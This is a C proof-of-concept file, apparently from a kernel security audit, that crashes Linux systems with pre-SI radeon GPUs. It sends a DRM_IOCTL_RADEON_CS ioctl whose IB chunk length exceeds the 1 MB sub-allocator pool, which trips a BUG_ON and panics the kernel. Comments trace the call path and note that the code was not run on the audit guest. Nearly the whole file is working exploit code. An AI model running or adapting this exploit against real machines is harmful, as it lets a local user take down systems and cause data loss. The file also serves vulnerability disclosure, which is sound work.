DF-1987 / sa_panic.c
/* * PoC: radeon_sa_bo_new BUG_ON panic via oversized CS IB chunk (DF-1987) * * Compile: cc -o sa_panic sa_panic.c * Run: ./sa_panic /dev/dri/card0 * Expected: kernel panic 'BUG in radeon_sa_bo_new at .../radeon_sa.c:322' * * HW precondition (NOT present on the audit QEMU guest): * - A pre-SI radeon GPU (Radeon HD 5000/6000 series etc.) must be present * and exposed as /dev/dri/card0 (or a render node), and the calling user * must have device access (video group / render node ACL). * * The audit guest has no radeon GPU (only the QEMU std VGA at pci0:0:2:0, * chip 0x11111234). Therefore this PoC cannot run end-to-end on the guest; * the bug is confirmed by source-tracing only (see VERDICT.md). * * Trigger: submit a single DRM_IOCTL_RADEON_CS ioctl with a single IB chunk * whose length_dw exceeds the SA pool capacity (1 MB / 4 = 262144 dwords), * WITHOUT a FLAGS chunk (so the non-VM path is taken, which lacks the * length_dw > RADEON_IB_VM_MAX_SIZE bound check that guards the VM path). * * Flow: radeon_cs_ioctl -> radeon_cs_parser_init (parses user_chunk.length_dw * with only a zero-check) -> radeon_cs_ib_fill (non-VM path: * radeon_ib_get(rdev, ring, &ib, vm, ib_chunk->length_dw * 4)) -> * radeon_sa_bo_new(rdev, &rdev->ring_tmp_bo, ..., size=length_dw*4, 256) * -> BUG_ON(size > sa_manager->size) -> panic(). */ #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> /* Minimal DRM/radeon ioctl structures (simplified from libdrm headers) */ #define DRM_COMMAND_BASE 0x40 #define DRM_RADEON_CS 0x26 #define DRM_IOCTL_RADEON_CS _IOWR('d', DRM_COMMAND_BASE + DRM_RADEON_CS, struct drm_radeon_cs) #define RADEON_CHUNK_ID_IB 0x01 struct drm_radeon_cs_chunk { uint32_t chunk_id; uint32_t length_dw; /* user-controlled, no upper bound on non-VM path */ uint64_t chunk_data; /* user pointer to IB data */ }; struct drm_radeon_cs { uint32_t num_chunks; /* total number of chunks */ uint32_t _pad; uint64_t chunks; /* pointer to array of uint64_t chunk pointers */ }; int main(int argc, char *argv[]) { const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0"; int fd = open(dev, O_RDWR); if (fd < 0) { perror("open"); return 1; } /* * length_dw = 0x50000 (327680 dwords) * size = length_dw * 4 = 1310720 bytes = 1.25 MB > 1 MB SA pool * This triggers BUG_ON(size > sa_manager->size) -> panic() * * No FLAGS chunk is attached, so RADEON_CS_USE_VM is not set, so the * non-VM path is taken at radeon_cs.c:640 and radeon_ib_get() is called * with ib_chunk->length_dw * 4 with no upper-bound check (the * length_dw > RADEON_IB_VM_MAX_SIZE check at radeon_cs.c:634 is inside * the VM-only block and is skipped). */ uint32_t ib_data[4] = {0}; struct drm_radeon_cs_chunk ib_chunk = { .chunk_id = RADEON_CHUNK_ID_IB, .length_dw = 0x50000, /* 327680 dwords = 1.25MB > 1MB pool */ .chunk_data = (uint64_t)(uintptr_t)ib_data, }; uint64_t chunk_ptrs[1] = { (uint64_t)(uintptr_t)&ib_chunk }; struct drm_radeon_cs cs = { .num_chunks = 1, .chunks = (uint64_t)(uintptr_t)chunk_ptrs, }; printf("Sending CS with length_dw=0x%x (size=%u bytes, pool=%u bytes)\n", ib_chunk.length_dw, ib_chunk.length_dw * 4, 1048576u); printf("Expected: kernel panic in radeon_sa_bo_new at radeon_sa.c:322\n"); int r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs); /* Should NOT reach here -- kernel panics */ printf("ioctl returned %d (unexpected -- BUG_ON may not have fired)\n", r); close(fd); return 0; } |